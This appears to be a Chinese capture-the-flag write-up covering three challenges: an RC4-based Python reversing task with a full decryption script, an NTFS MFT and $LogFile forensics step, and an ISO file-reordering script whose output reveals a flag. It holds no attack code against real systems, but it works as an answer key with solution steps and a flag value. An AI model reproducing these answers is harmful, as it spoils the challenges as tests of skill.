 L.  53       224  LOAD_NAME                sha256
              226  LOAD_NAME                c
              228  CALL_FUNCTION_1       1  ''
              230  LOAD_METHOD              digest
              232  CALL_METHOD_0         0  ''
              234  LOAD_NAME                s
              236  COMPARE_OP               ==
              238  POP_JUMP_IF_FALSE   131  'to 131'

 L.  54       240  LOAD_NAME                print
              242  LOAD_NAME                xor
              244  LOAD_NAME                t
              246  LOAD_NAME                stream
              248  CALL_FUNCTION_2       2  ''
              250  LOAD_METHOD              decode
              252  CALL_METHOD_0         0  ''
              254  CALL_FUNCTION_1       1  ''
              256  POP_TOP          
              258  LOAD_CONST               None
              260  RETURN_VALUE     

 L.  56       262  LOAD_NAME                print
              264  LOAD_NAME                e
              266  LOAD_METHOD              decode
              268  CALL_METHOD_0         0  ''
              270  CALL_FUNCTION_1       1  ''
              272  POP_TOP          
              274  LOAD_CONST               None
              276  RETURN_VALUE

应该是和RC4相关

根据这个写出脚本:

from hashlib import sha256

def KSA(key):
    keylength = len(key)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j+S[i]+key[i%keylength])%256
        S[i], S[j] = S[j], S[i]
    return S

def PRGA(S):
    i = j = 0

    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i]+S[j])%256]
        yield K

def RC4(key):
    S = KSA(key)
    return PRGA(S)

def xor(p, stream):
    return bytes(map((lambda x : x ^ stream.__next__()), p))

if __name__ == '__main__':
    w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
    e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
    b = b'geo'
    s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
    t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
    m = {
        2: 115,
        8: 97,
        11: 117,
        10: 114 }
    n = {
        3: 119,
        7: 116,
        9: 124,
        12: 127 }
    m |= {x:x^n[x] for x in n}
    m |= ((i.bit_count(),i) for i in b)

    stream = RC4(list(map((lambda x: x[1]), sorted(m.items()))))
    print(xor(w, stream).decode())
    p = b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b'
    e = xor(e, stream)
    c = xor(p, stream)
    if sha256(c).digest() == s:
        print(xor(t, stream).decode())
    else:
        print(e.decode())
    print(c)

EzTime

用Mft2Csv和LogFileParser-master来解析MFT和logfile得到csv文件

根据题意找到这个文件就是flag

iso1995

是个iso文件,丢进010里看一看

是把文件对应的时间排序

根据观察由分秒决定顺序,写出脚本:

import re,struct
f = open("C:\\Users\\Vino0o0o\\Desktop\\qwb\\ISO1995 (2)\\附件\\iso1995.iso","rb")
bin = f.read()
begin = 0x26800
l = {}
for i in re.findall(rb"\xff\xff\xff\xff[\s\S][\s\S]",bin):
    n = struct.unpack('>H',i[4:])[0]
    offset = begin+n*0x800
    print(bin[offset:offset+1].decode('UTF-8'),end='')
#!Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,CO@V.s-%.@C'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/.2@b>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;Bj@Cd\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}.714G_8W~!@8=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):FL3r@:-C1

输出复制搜索找到flag

(完)